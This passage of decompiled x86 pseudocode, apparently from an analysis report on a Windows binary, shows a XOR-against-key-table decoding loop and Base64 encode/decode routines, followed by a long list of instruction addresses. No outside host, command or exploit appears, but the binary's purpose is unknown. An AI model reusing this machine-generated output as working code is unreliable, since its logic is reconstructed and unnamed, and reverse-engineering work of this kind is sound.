														_t453 = _t1139 + 0xc2eb34; // 0x987249c
														__eflags = _t1065 - 0x10;
														 *(_t1379 + _t1139 - 0x20) =  *(( >=  ? _t1334 :  &_a4) + _t1364) & 0x000000ff ^  *_t453;
														_t813 =  >=  ? _t1334 :  &_a4;
														_t459 = _t1139 + 0xc2eb35; // 0x81098724
														__eflags = _t1065 - 0x10;
														 *(_t1379 + _t1139 - 0x1f) =  *(( >=  ? _t1334 :  &_a4) + _t1364 + 1) & 0x000000ff ^  *_t459;
														_t817 =  >=  ? _t1334 :  &_a4;
														_t465 = _t1139 + 0xc2eb36; // 0x49810987
														__eflags = _t1065 - 0x10;
														 *(_t1379 + _t1139 - 0x1e) =  *(( >=  ? _t1334 :  &_a4) + _t1364 + 2) & 0x000000ff ^  *_t465;
														_t821 =  >=  ? _t1334 :  &_a4;
														_t822 =  *(( >=  ? _t1334 :  &_a4) + _t1364 + 3) & 0x000000ff;
														_t1364 = _t1364 + 4;
														_t471 = _t1139 + 0xc2eb37; // 0x7d498109
														 *(_t1379 + _t1139 - 0x1d) = _t822 ^  *_t471;
														_t1139 = _t1139 + 4;
														__eflags = _t1139 - 0x10;
													} while (_t1139 < 0x10);
													_t824 = 0;
													__eflags = _t1296;
													if(_t1296 > 0) {
														do {
															__eflags = _t1065 - 0x10;
															_t1142 =  >=  ? _t1334 :  &_a4;
															_t1078 = ( >=  ? _t1334 :  &_a4) + _t1364;
															_t1143 = _v64;
															_t1347 = _t1143;
															__eflags =  *((intOrPtr*)(_t1143 + 0x14)) - 0x10;
															if( *((intOrPtr*)(_t1143 + 0x14)) >= 0x10) {
																_t1347 =  *_t1143;
															}
															_t1364 = _t1364 + 1;
															_t1146 =  *0xc2eb30; // 0xc2e9d0
															 *(_v44 + _t1347 + _t824) =  *(_t1379 + (_t824 & 0x0000000f) - 0x20) ^  *(_t1146 + _t824) ^  *_t1078;
															_t824 = _t824 + 1;
															_t1065 = _a24;
															_t1334 = _a4;
															__eflags = _t824 - _v48;
														} while (_t824 < _v48);
													}
													_t711 = _v52 + 1;
													_v44 = _v44 + 0x100;
													_t1138 = _v56 + 0x110;
													_t1295 = _v68;
													_v52 = _t711;
													_v56 = _t1138;
													__eflags = _t711 - _v60;
												} while (_t711 < _v60);
												_t1351 = _v64;
											}
											__eflags = _t1065 - 0x10;
											if(_t1065 < 0x10) {
												L241:
												 *[fs:0x0] = _v20;
												__eflags = _v24 ^ _t1379;
												return E00BF44D0(_v24 ^ _t1379);
											} else {
												_t1067 = _t1065 + 1;
												_t714 = _t1334;
												__eflags = _t1067 - 0x1000;
												if(_t1067 < 0x1000) {
													L240:
													_push(_t1067);
													E00BF4B47(_t1334);
													goto L241;
												} else {
													_t1334 =  *((intOrPtr*)(_t1334 - 4));
													_t1067 = _t1067 + 0x23;
													__eflags = _t714 - _t1334 + 0xfffffffc - 0x1f;
													if(__eflags > 0) {
														E00C01351(_t1067, _t1088, _t1251, _t1334, __eflags);
														asm("int3");
														_push(_t1379);
														_t1380 = _t1386;
														_t1388 = _t1386 - 0x20;
														_push(_t1067);
														_push(_t1351);
														_t1353 = _t1088;
														_v140 = 3;
														_push(_t1334);
														_t1336 = _t1251;
														_t1068 = 0;
														_v144 = _t1336;
														_v132 = 0;
														E00BE5E20(0xaaaaaaab * ( *(_t1353 + 0x10) - ( *(_t1353 + 0x10) + 2) % _v140 + 2), 0, _t1336, 0xaaaaaaab * ( *(_t1353 + 0x10) - ( *(_t1353 + 0x10) + 2) % _v140 + 2) >> 0x20 >> 1 << 2, 0);
														__eflags =  *((intOrPtr*)(_t1353 + 0x14)) - 0x10;
														_t724 =  *(_t1353 + 0x10);
														if( *((intOrPtr*)(_t1353 + 0x14)) >= 0x10) {
															_t1353 =  *_t1353;
														}
														__eflags = _t724;
														if(_t724 == 0) {
															L275:
															__eflags = _t1068 -  *((intOrPtr*)(_t1336 + 0x10));
															_t580 = _t1068 ==  *((intOrPtr*)(_t1336 + 0x10));
															__eflags = _t580;
															return _t724 & 0xffffff00 | _t580;
														} else {
															_t1097 = 0;
															__eflags = 0;
															do {
																_v44 = _t724 - 1;
																_t727 = _t1353;
																_t1353 = _t1353 + 1;
																 *((char*)(_t1380 + _t1097 - 8)) =  *_t727;
																_t1097 = _t1097 + 1;
																_t1258 = _v19;
																_v13 = _v18;
																_v15 = _t1258;
																__eflags = _t1097 - 3;
																if(_t1097 == 3) {
																	_t1070 = _v28;
																	_v32 = _t1336;
																	_t794 = _t1258 >> 4;
																	_t1134 = ((_t1258 & 0x00000003) << 4) + _t794;
																	_v24 = _t794;
																	_t1294 = ((_t1258 & 0x0000000f) << 2) + (_v13 >> 6);
																	_v23 = _t1134;
																	_t798 = _v13 & 0x0000003f;
																	__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																	_v14 = _t798;
																	if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																		_v32 =  *_t1336;
																		_t1070 = _v28;
																	}
																	 *((char*)(_v32 + _t1070)) =  *((intOrPtr*)((_t798 & 0x000000ff) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
																	_t1336 = _v40;
																	_v32 = _t1336;
																	__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																	if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																		_v32 =  *_t1336;
																	}
																	 *((char*)(_t1070 + _v32 + 1)) =  *((intOrPtr*)((_t1134 & 0x000000ff) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
																	_t1136 = _t1336;
																	__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																	if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																		_t1136 =  *_t1336;
																	}
																	 *((char*)(_t1070 + _t1136 + 2)) =  *((intOrPtr*)((_t1294 & 0x000000ff) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
																	_t1137 = _t1336;
																	__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																	if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																		_t1137 =  *_t1336;
																	}
																	_t1258 = _v15;
																	 *((char*)(_t1070 + _t1137 + 3)) =  *((intOrPtr*)((_v14 & 0x000000ff) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
																	_t1068 = _t1070 + 4;
																	_v28 = _t1068;
																	_t1097 = 0;
																	__eflags = 0;
																}
																_t724 = _v44;
																__eflags = _t724;
															} while (_t724 != 0);
															__eflags = _t1097;
															if(_t1097 == 0) {
																goto L275;
															} else {
																_t730 = _t1097;
																__eflags = _t1097 - 3;
																if(_t1097 >= 3) {
																	goto L265;
																} else {
																	__eflags = _t730 - 3;
																	while(__eflags < 0) {
																		 *((char*)(_t1380 + _t730 - 8)) = 0;
																		_t730 = _t730 + 1;
																		__eflags = _t730 - 3;
																		if(__eflags < 0) {
																			continue;
																		} else {
																			_t1258 = _v20;
																			L265:
																			_t563 = _t1097 + 1; // 0x2
																			_t1355 = _t563;
																			_t1259 = _t1258 & 0x00000003;
																			_v24 = _t1258 >> 2;
																			_t735 = _t1259 >> 4;
																			_t1263 = ((_t1259 & 0x0000000f) << 4) + _t735 << 2;
																			_v23 = _t1263;
																			_t724 = _t735 >> 0x00000006 & 0x0000003f;
																			_v21 = _t724;
																			_v22 = _t1263 + _t724;
																			__eflags = _t1355;
																			if(_t1355 > 0) {
																				_t739 =  &_v24 - _t1068;
																				__eflags = _t739;
																				_v44 = _t739;
																				do {
																					__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																					_t1267 = _t1336;
																					if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																						_t1267 =  *_t1336;
																					}
																					 *((char*)(_t1267 + _t1068)) =  *((intOrPtr*)(( *(_t739 + _t1068) & 0x000000ff) + "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"));
																					_t1068 = _t1068 + 1;
																					_t739 = _v44;
																					_t1355 = _t1355 - 1;
																					__eflags = _t1355;
																				} while (_t1355 != 0);
																			}
																			__eflags = _t1097 - 3;
																			if(_t1097 < 3) {
																				_t1266 = _v36 - _t1097;
																				__eflags = _t1266;
																				do {
																					__eflags =  *((intOrPtr*)(_t1336 + 0x14)) - 0x10;
																					_t724 = _t1336;
																					if( *((intOrPtr*)(_t1336 + 0x14)) >= 0x10) {
																						_t724 =  *_t1336;
																					}
																					 *((char*)(_t724 + _t1068)) = 0x3d;
																					_t1068 = _t1068 + 1;
																					_t1266 = _t1266 - 1;
																					__eflags = _t1266;
																				} while (_t1266 != 0);
																			}
																			goto L275;
																		}
																		goto L338;
																	}
																	E00BF47EC();
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	asm("int3");
																	_push(_t1380);
																	_t1381 = _t1388;
																	_t1389 = _t1388 - 0x18;
																	_push(_t1068);
																	_t743 = _t1097;
																	_t1071 = _t1258;
																	_push(_t1353);
																	_push(_t1336);
																	_t1339 = 0;
																	_v188 = _t1071;
																	_t1268 =  *((intOrPtr*)(_t743 + 0x14));
																	_t1356 = _t743;
																	_v180 = 0;
																	_v184 =  *((intOrPtr*)(_t743 + 0x10));
																	__eflags = _t1268 - 0x10;
																	if(_t1268 >= 0x10) {
																		_t1356 =  *_t743;
																	}
																	_t1099 = 0;
																	__eflags = _t1268 - 0x10;
																	if(_t1268 >= 0x10) {
																		_t743 =  *_t743;
																	}
																	_t1269 = _v36;
																	_t744 = _t743 + _v36;
																	__eflags =  *((char*)(_t744 - 1)) - 0x3d;
																	while( *((char*)(_t744 - 1)) == 0x3d) {
																		_t744 = _t744 - 1;
																		_t1099 = _t1099 + 1;
																		__eflags =  *((char*)(_t744 - 1)) - 0x3d;
																	}
																	asm("cdq");
																	_t1100 = _t1071;
																	E00BE5E20((_t1269 + _t1269 * 2 + _t1269 + _t1269 * 2 + (_t1269 & 0x00000007) >> 3) - _t1099, _t1071, _t1100, (_t1269 + _t1269 * 2 + _t1269 + _t1269 * 2 + (_t1269 & 0x00000007) >> 3) - _t1099, 0);
																	_t751 = _v36;
																	__eflags = _t751;
																	if(_t751 == 0) {
																		__eflags = 0 -  *((intOrPtr*)(_t1071 + 0x10));
																		_t654 = 0 ==  *((intOrPtr*)(_t1071 + 0x10));
																		__eflags = _t654;
																		return _t751 & 0xffffff00 | _t654;
																	} else {
																		while(1) {
																			_v36 = _t751 - 1;
																			_t754 =  *_t1356;
																			__eflags = _t754 - 0x3d;
																			if(_t754 == 0x3d) {
																				break;
																			}
																			 *(_t1381 + _t1339 - 0xc) = _t754;
																			_t1356 = _t1356 + 1;
																			_t1339 = _t1339 + 1;
																			__eflags = _t1339 - 4;
																			if(_t1339 == 4) {
																				_t1283 = 0;
																				__eflags = 0;
																				_t596 = _t1339 + 0x3b; // 0x3c
																				_t1076 = _t596;
																				do {
																					_t1121 =  *((intOrPtr*)(_t1381 + _t1283 - 0xc));
																					_t781 = _t1121 - 0x41;
																					__eflags = _t781 - 0x19;
																					if(_t781 > 0x19) {
																						__eflags = _t1121 - 0x61 - 0x19;
																						if(_t1121 - 0x61 > 0x19) {
																							__eflags = _t1121 - 0x30 - 9;
																							if(_t1121 - 0x30 > 9) {
																								__eflags = _t1121 - 0x2b;
																								if(_t1121 != 0x2b) {
																									__eflags = _t1121 - 0x2f;
																									_t781 =  ==  ? _t1076 : 0xff;
																								} else {
																									_t781 = 0x3e;
																								}
																							} else {
																								_t781 = _t1121 + 4;
																							}
																						} else {
																							_t781 = _t1121 - 0x47;
																						}
																					}
																					 *((char*)(_t1381 + _t1283 - 0xc)) = _t781;
																					_t1283 = _t1283 + 1;
																					__eflags = _t1283 - 4;
																				} while (_t1283 < 4);
																				_t782 = _v28;
																				_t1071 = _v40;
																				_t1124 = _t782 << 2;
																				_t1346 = _t1071;
																				_t1287 = (_t782 >> 0x00000004 & 0x00000003) + _t1124;
																				_t1130 = ((_t1124 >> 0x00000002 & 0x0000000f) << 6) + _v25 + (_t782 << 4);
																				__eflags =  *((intOrPtr*)(_t1071 + 0x14)) - 0x10;
																				_v24 = _t1287;
																				_v23 = _t1130;
																				_v17 = _t1130;
																				if( *((intOrPtr*)(_t1071 + 0x14)) >= 0x10) {
																					_t1346 =  *_t1071;
																				}
																				_t785 = _v32;
																				 *((char*)(_t1346 + _t785)) = _t1287;
																				_t1288 = _t1071;
																				__eflags =  *((intOrPtr*)(_t1071 + 0x14)) - 0x10;
																				if( *((intOrPtr*)(_t1071 + 0x14)) >= 0x10) {
																					_t1288 =  *_t1071;
																				}
																				 *((char*)(_t785 + _t1288 + 1)) = _t1130;
																				_t1100 = _t1071;
																				__eflags =  *((intOrPtr*)(_t1071 + 0x14)) - 0x10;
																				if( *((intOrPtr*)(_t1071 + 0x14)) >= 0x10) {
																					_t1100 =  *_t1071;
																				}
																				 *((char*)(_t785 + _t1100 + 2)) = _v17;
																				_v32 = _t785 + 3;
																				_t1339 = 0;
																				__eflags = 0;
																			}
																			_t751 = _v36;
																			__eflags = _t751;
																			if(_t751 != 0) {
																				continue;
																			}
																			break;
																		}
																		__eflags = _t1339;
																		if(_t1339 == 0) {
																			_t1272 = _v32;
																			goto L329;
																		} else {
																			_t756 = _t1339;
																			__eflags = _t1339 - 4;
																			if(_t1339 >= 4) {
																				L311:
																				_t1273 = 0;
																				__eflags = 0;
																				_t627 = _t1273 + 0x3f; // 0x3f
																				_t1074 = _t627;
																				do {
																					_t1101 =  *((intOrPtr*)(_t1381 + _t1273 - 0xc));
																					_t630 = _t1101 - 0x41; // -65
																					_t757 = _t630;
																					__eflags = _t757 - 0x19;
																					if(_t757 > 0x19) {
																						_t631 = _t1101 - 0x61; // -97
																						__eflags = _t631 - 0x19;
																						if(_t631 > 0x19) {
																							__eflags = _t1101 - 0x30 - 9;
																							if(_t1101 - 0x30 > 9) {
																								__eflags = _t1101 - 0x2b;
																								if(_t1101 != 0x2b) {
																									__eflags = _t1101 - 0x2f;
																									_t757 =  ==  ? _t1074 : 0xff;
																								} else {
																									_t757 = 0x3e;
																								}
																							} else {
																								_t757 = _t1101 + 4;
																							}
																						} else {
																							_t632 = _t1101 - 0x47; // -71
																							_t757 = _t632;
																						}
																					}
																					 *((char*)(_t1381 + _t1273 - 0xc)) = _t757;
																					_t1273 = _t1273 + 1;
																					__eflags = _t1273 - 4;
																				} while (_t1273 < 4);
																				_t758 = _v28;
																				_t1342 = _t1339 - 1;
																				_t1071 = _v40;
																				_v24 = (_t758 >> 0x00000004 & 0x00000003) + (_t758 << 2);
																				_t1278 = _v26;
																				_t754 = _t758 << 4;
																				_v22 = (_t1278 << 6) + _v25;
																				_t1272 = _v32;
																				_v23 = (_t1278 >> 0x00000002 & 0x0000000f) + _t754;
																				__eflags = _t1342;
																				if(_t1342 <= 0) {
																					L329:
																					__eflags = _t1272 -  *((intOrPtr*)(_t1071 + 0x10));
																					_t658 = _t1272 ==  *((intOrPtr*)(_t1071 + 0x10));
																					__eflags = _t658;
																					return _t754 & 0xffffff00 | _t658;
																				} else {
																					_t1360 =  &_v24 - _t1272;
																					__eflags = _t1360;
																					do {
																						__eflags =  *((intOrPtr*)(_t1071 + 0x14)) - 0x10;
																						_t1108 = _t1071;
																						if( *((intOrPtr*)(_t1071 + 0x14)) >= 0x10) {
																							_t1108 =  *_t1071;
																						}
																						_t760 =  *((intOrPtr*)(_t1360 + _t1272));
																						 *(_t1108 + _t1272) = _t760;
																						_t1272 = _t1272 + 1;
																						_t1342 = _t1342 - 1;
																						__eflags = _t1342;
																					} while (_t1342 != 0);
																					__eflags = _t1272 -  *((intOrPtr*)(_t1071 + 0x10));
																					_t651 = _t1272 ==  *((intOrPtr*)(_t1071 + 0x10));
																					__eflags = _t651;
																					return _t760 & 0xffffff00 | _t651;
																				}
																			} else {
																				__eflags = _t756 - 4;
																				while(__eflags < 0) {
																					 *((char*)(_t1381 + _t756 - 0xc)) = 0;
																					_t756 = _t756 + 1;
																					__eflags = _t756 - 4;
																					if(__eflags < 0) {
																						continue;
																					} else {
																						goto L311;
																					}
																					goto L338;
																				}
																				E00BF47EC();
																				asm("int3");
																				asm("int3");
																				_push(_t1381);
																				_t1382 = _t1389;
																				_push(0xffffffff);
																				_push(0xc16f58);
																				_push( *[fs:0x0]);
																				_t767 =  *0xc2e00c; // 0x5cb9e59c
																				_t768 = _t767 ^ _t1382;
																				__eflags = _t768;
																				_v220 = _t768;
																				_push(_t1356);
																				_push(_t1339);
																				_push(_t768);
																				 *[fs:0x0] =  &_v216;
																				_t1362 = _t1100;
																				_v356 = _t1362;
																				_v356 = _t1362;
																				_v208 = 0;
																				_v352 =  &_v348;
																				E00BE6D40( &_v352, _v196, 3);
																				_v208 = 1;
																				_t1281 = _v352;
																				_t1110 = _v352;
																				 *(_t1362 + 0x10) = 0;
																				 *((intOrPtr*)(_t1362 + 0x14)) = 0xf;
																				 *_t1362 = 0;
																				_t672 = _t1110 + 1; // 0x1
																				_t1344 = _t672;
																				do {
																					_t772 =  *_t1110;
																					_t1110 = _t1110 + 1;
																					__eflags = _t772;
																				} while (_t772 != 0);
																				_push(_t1110 - _t1344);
																				E00BE7D20(_t1071, _t1362, _t1344, _t1281);
																				_t774 = _v168;
																				_t1113 =  &_v164;
																				__eflags = _t774 - _t1113;
																				if(_t774 != _t1113) {
																					E00C01D58(_t774);
																				}
																				_v24 = 0xffffffff;
																				_t776 = _v12 + 0xfffffff0;
																				asm("lock xadd [eax+0xc], ecx");
																				__eflags = (_t1113 | 0xffffffff) - 1;
																				if((_t1113 | 0xffffffff) - 1 <= 0) {
																					 *((intOrPtr*)( *((intOrPtr*)( *_t776)) + 4))(_t776);
																				}
																				 *[fs:0x0] = _v32;
																				__eflags = _v36 ^ _t1382;
																				return E00BF44D0(_v36 ^ _t1382);
																			}
																		}
																	}
																}
															}
														}
													} else {
														goto L240;
													}
												}
											}
										} else {
											goto L217;
										}
									}
								}
							}
						}
					}
				} else {
					__ecx[0x3e] = 3;
					L219:
					 *[fs:0x0] = _v16;
					return E00BF44D0(_v20 ^ _t1378);
				}
				L338:
			}

0x00bd5230
0x00bd5230
0x00bd5230
0x00bd5233
0x00bd5235
0x00bd5240
0x00bd5246
0x00bd524b
0x00bd5250
0x00bd5252
0x00bd5255
0x00bd5256
0x00bd5257
0x00bd525b
0x00bd5261
0x00bd5263
0x00bd526d
0x00bd5270
0x00bd528a
0x00bd528f
0x00bd529c
0x00bd52a8
0x00bd52b0
0x00bd52b5
0x00bd52b8
0x00bd52ba
0x00bd52c8
0x00bd52da
0x00bd52e2
0x00bd52e7
0x00bd52ea
0x00bd52ec
0x00bd65b0
0x00000000
0x00bd52f2
0x00bd52f2
0x00bd52f7
0x00000000
0x00bd52f7
0x00bd52bc
0x00bd52bc
0x00bd52c1
0x00bd52fc
0x00bd52fc
0x00bd5304
0x00bd5309
0x00bd530c
0x00bd5313
0x00bd5346
0x00bd5360
0x00bd5374
0x00bd5387
0x00bd5392
0x00bd539c
0x00bd53a2
0x00bd53ab
0x00bd53b5
0x00bd53b8
0x00bd53be
0x00bd53c2
0x00bd53c5
0x00bd53cd
0x00bd53d5
0x00bd53df
0x00bd53e7
0x00bd53f1
0x00bd53fb
0x00bd5405
0x00bd540f
0x00bd5411
0x00bd5411
0x00bd5421
0x00bd5427
0x00bd5429
0x00000000
0x00bd542f
0x00bd542f
0x00bd5435
0x00bd5440
0x00bd5440
0x00bd5443
0x00bd5446
0x00bd5446
0x00bd545a
0x00bd5467
0x00bd5470
0x00bd5476
0x00bd547c
0x00bd547e
0x00000000
0x00bd5484
0x00bd548b
0x00bd5492
0x00bd5495
0x00bd54af
0x00bd54b8
0x00bd54be
0x00bd54c0
0x00bd54c6
0x00bd54c8
0x00bd65a2
0x00bd65a8
0x00000000
0x00bd54ce
0x00bd54ce
0x00bd54d2
0x00bd54d4
0x00bd54db
0x00bd54e5
0x00bd54f3
0x00bd54f3
0x00bd54db
0x00bd54f9
0x00bd54f9
0x00bd5500
0x00bd5500
0x00bd5500
0x00bd5503
0x00bd5509
0x00bd550c
0x00000000
0x00bd5512
0x00bd5512
0x00bd5518
0x00bd551a
0x00bd551c
0x00bd5523
0x00bd5529
0x00bd552b
0x00bd552b
0x00bd5535
0x00bd553b
0x00bd553d
0x00bd553f
0x00bd5545
0x00bd5545
0x00bd553d
0x00bd551a
0x00bd554b
0x00bd5552
0x00bd562d
0x00bd562d
0x00bd5634
0x00bd5645
0x00bd5652
0x00bd565c
0x00bd5661
0x00bd5667
0x00bd566a
0x00bd566e
0x00bd5670
0x00bd5670
0x00bd567f
0x00bd5684
0x00bd568d
0x00bd5693
0x00bd569f
0x00bd56a5
0x00bd56a7
0x00bd56af
0x00bd56af
0x00bd56b5
0x00bd56bb
0x00bd56bd
0x00bd56bf
0x00bd56c6
0x00bd56cc
0x00bd56ce
0x00bd56ce
0x00bd56d0
0x00bd56da
0x00bd56e0
0x00bd56e2
0x00bd56ea
0x00bd56ea
0x00bd56f0
0x00bd56f6
0x00bd56f8
0x00bd56fa
0x00bd5701
0x00bd5707
0x00bd5709
0x00bd5709
0x00bd570b
0x00bd5715
0x00bd571b
0x00bd571d
0x00bd571f
0x00bd5725
0x00bd5725
0x00bd571d
0x00bd56f8
0x00bd56bd
0x00bd5738
0x00bd573f
0x00bd5745
0x00bd5747
0x00bd5963
0x00bd5963
0x00bd5969
0x00bd596b
0x00bd5973
0x00bd5986
0x00bd598c
0x00bd598e
0x00bd5990
0x00bd5996
0x00bd5996
0x00bd598e
0x00bd599f
0x00bd59a5
0x00bd59a7
0x00000000
0x00bd59ad
0x00bd59af
0x00bd59b5
0x00bd59c7
0x00bd59cd
0x00bd59cf
0x00bd59e0
0x00bd59ed
0x00bd5a02
0x00bd5a06
0x00bd5a10
0x00bd5a15
0x00bd5a18
0x00bd5a2c
0x00bd5a32
0x00bd5a34
0x00bd5f08
0x00bd5f09
0x00bd5f0e
0x00bd5f14
0x00000000
0x00bd5a3a
0x00bd5a3a
0x00bd5a3c
0x00bd5a3c
0x00bd5a40
0x00bd5a40
0x00bd5a43
0x00bd5a46
0x00bd5a46
0x00bd5a4d
0x00bd5a52
0x00bd5a5b
0x00bd5a60
0x00bd5a6a
0x00bd5a74
0x00bd5a80
0x00bd5a84
0x00bd5a90
0x00bd5a9a
0x00bd5aa4
0x00bd5aab
0x00bd5ab0
0x00bd5ab4
0x00bd5abb
0x00bd5abd
0x00bd5ac4
0x00bd5aca
0x00bd5acf
0x00bd5adf
0x00bd5ae4
0x00bd5ae7
0x00bd5ae9
0x00bd5af1
0x00bd5b02
0x00bd5b04
0x00bd5b06
0x00bd5b09
0x00bd5b0b
0x00bd5b0d
0x00bd5b11
0x00bd5b13
0x00bd5b15
0x00bd5b15
0x00bd5b17
0x00bd5b1b
0x00bd5b1b
0x00bd5b0b
0x00bd5b04
0x00bd5ae9
0x00bd5b20
0x00bd5b27
0x00bd5b2d
0x00bd5b32
0x00bd5b42
0x00bd5b47
0x00bd5b4a
0x00bd5b4c
0x00bd5b54
0x00bd5b65
0x00bd5b67
0x00bd5b69
0x00bd5b6d
0x00bd5b6f
0x00bd5b6f
0x00bd5b72
0x00bd5b77
0x00bd5b7a
0x00bd5b7a
0x00bd5b67
0x00bd5b80
0x00bd5b87
0x00bd5b8d
0x00bd5b92
0x00bd5ba2
0x00bd5ba7
0x00bd5baa
0x00bd5bac
0x00bd5bb4
0x00bd5bc5
0x00bd5bc7
0x00bd5bc9
0x00bd5bcf
0x00bd5bd1
0x00bd5bd3
0x00bd5bd7
0x00bd5bd9
0x00bd5bdb
0x00bd5bdb
0x00bd5bdd
0x00bd5be1
0x00bd5be1
0x00bd5bd1
0x00bd5bc7
0x00bd5be6
0x00bd5bed
0x00bd5bf3
0x00bd5bf8
0x00bd5c08
0x00bd5c0d
0x00bd5c13
0x00bd5c16
0x00bd5c1c
0x00bd5c1e
0x00bd5dce
0x00bd5dce
0x00bd5dd2
0x00bd5dd8
0x00bd5ddb
0x00bd5e12
0x00bd5e14
0x00bd5e1e
0x00bd5e28
0x00bd5e2f
0x00bd5e32
0x00bd5e34
0x00bd5f02
0x00bd5f02
0x00000000
0x00bd5e3a
0x00bd5e3a
0x00bd5e40
0x00bd5ea5
0x00bd5eb9
0x00bd5ebb
0x00bd5ebe
0x00bd5ec4
0x00bd5eda
0x00bd5eda
0x00bd5edc
0x00bd5ee1
0x00bd5ee4
0x00bd5eee
0x00bd5ef8
0x00000000
0x00bd5ec6
0x00bd5ec6
0x00bd5ec9
0x00bd5ed1
0x00bd5ed4
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd5ed4
0x00bd5e42
0x00bd5e42
0x00bd5e42
0x00bd5e45
0x00bd5e45
0x00bd5e47
0x00bd5e4a
0x00000000
0x00bd5e4c
0x00bd5e4c
0x00bd5e4f
0x00bd5e56
0x00bd5e5c
0x00bd5e74
0x00bd5e74
0x00bd5e76
0x00bd5e7b
0x00000000
0x00bd5e5e
0x00bd5e5e
0x00bd5e61
0x00bd5e69
0x00bd5e6c
0x00000000
0x00bd5e72
0x00bd5e72
0x00000000
0x00bd5e72
0x00bd5e6c
0x00bd5e5c
0x00000000
0x00bd5e7e
0x00bd5e80
0x00bd5e87
0x00bd5e8b
0x00bd5e91
0x00bd5e97
0x00bd5e97
0x00bd5e9f
0x00000000
0x00bd5e9f
0x00bd5e40
0x00bd5ddd
0x00bd5ddd
0x00bd5de3
0x00bd5dea
0x00bd5dec
0x00bd5df2
0x00bd5e08
0x00bd5e08
0x00bd5e0a
0x00bd5e0f
0x00000000
0x00bd5df4
0x00bd5df4
0x00bd5df7
0x00bd5dff
0x00bd5e02
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd5e02
0x00bd5df2
0x00bd5c24
0x00bd5c2f
0x00bd5c35
0x00bd5c37
0x00000000
0x00bd5c3d
0x00bd5c3d
0x00bd5c43
0x00bd5c4d
0x00bd5c53
0x00bd5c55
0x00bd5c55
0x00bd5c59
0x00bd5c5b
0x00bd5c5d
0x00bd5c5d
0x00bd5c5f
0x00bd5c63
0x00bd5c6b
0x00bd5c71
0x00bd5c79
0x00bd5c80
0x00bd5c80
0x00bd5c8b
0x00bd5c8e
0x00bd5c94
0x00bd5c95
0x00bd5c9b
0x00bd5c9b
0x00bd5c9f
0x00bd5cab
0x00bd5caf
0x00bd5cbe
0x00bd5cc8
0x00bd5ccf
0x00bd5cda
0x00bd5cde
0x00bd5ced
0x00bd5cf2
0x00bd5cf8
0x00bd5cfd
0x00bd5d03
0x00bd5d06
0x00bd5d3d
0x00bd5d3f
0x00bd5d43
0x00bd5d49
0x00bd5d53
0x00bd5d5d
0x00bd5d64
0x00bd5d67
0x00bd5d9e
0x00bd5d9e
0x00bd5da4
0x00bd5da6
0x00bd5da8
0x00bd5dac
0x00bd5dae
0x00bd5db0
0x00bd5db0
0x00bd5db2
0x00bd5db8
0x00bd5dba
0x00bd5dc3
0x00bd5dc3
0x00bd5db8
0x00bd5dc8
0x00000000
0x00bd5d69
0x00bd5d69
0x00bd5d6f
0x00bd5d76
0x00bd5d78
0x00bd5d7e
0x00bd5d94
0x00bd5d94
0x00bd5d96
0x00bd5d9b
0x00000000
0x00bd5d80
0x00bd5d80
0x00bd5d83
0x00bd5d8b
0x00bd5d8e
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd5d8e
0x00bd5d7e
0x00bd5d08
0x00bd5d08
0x00bd5d0e
0x00bd5d15
0x00bd5d17
0x00bd5d1d
0x00bd5d33
0x00bd5d33
0x00bd5d35
0x00bd5d3a
0x00000000
0x00bd5d1f
0x00bd5d1f
0x00bd5d22
0x00bd5d2a
0x00bd5d2d
0x00000000
0x00000000
0x00000000
0x00000000
0x00bd5d2d
0x00bd5d1d
0x00bd5d06
0x00bd5c37
0x00bd5c1e
0x00bd59d1
0x00bd59d7
0x00bd59da
0x00bd5f17
0x00bd5f19
0x00bd5f1f
0x00bd5f31
0x00bd5f37
0x00bd5f39
0x00bd5f46
0x00bd5f53
0x00bd5f68
0x00bd5f70
0x00bd5f75
0x00bd5f78
0x00bd5f8c
0x00bd5f92
0x00bd5f94
0x00bd5f96
0x00bd5f98
0x00bd5f98
0x00bd5fa0
0x00bd5fa0
0x00bd5fa3
0x00bd5fa6
0x00bd5fa6
0x00bd5fab
0x00bd5fab
0x00bd5faf
0x00bd5fb7
0x00bd5fb7
0x00bd5fbd
0x00bd5fc2
0x00bd5f3b
0x00bd5f41
0x00bd5f44
0x00000000
0x00000000
0x00bd5f44
0x00bd5fc5
0x00bd5fcb
0x00bd5fcd
0x00bd5fd8
0x00bd5fde
0x00bd5fe0
0x00bd5fe3
0x00bd5fe8
0x00bd5feb
0x00bd5feb
0x00bd6003
0x00bd6009
0x00bd600e
0x00bd6015
0x00bd6020
0x00bd6020
0x00bd6026
0x00bd6037
0x00bd603d
0x00bd603f
0x00bd6190
0x00bd6045
0x00bd6045
0x00bd604b
0x00bd604d
0x00bd604f
0x00bd6055
0x00bd6057
0x00bd6059
0x00bd605f
0x00bd6069
0x00bd606d
0x00bd6076
0x00bd607a
0x00bd607d
0x00bd6085
0x00bd608e
0x00bd6092
0x00bd6097
0x00bd6099
0x00bd6099
0x00bd6057
0x00bd60b0
0x00bd60ba
0x00bd60bf
0x00bd60c2
0x00bd60cc
0x00bd60e5
0x00bd60eb
0x00bd60ed
0x00bd60f3
0x00bd60f9
0x00bd6102
0x00bd6104
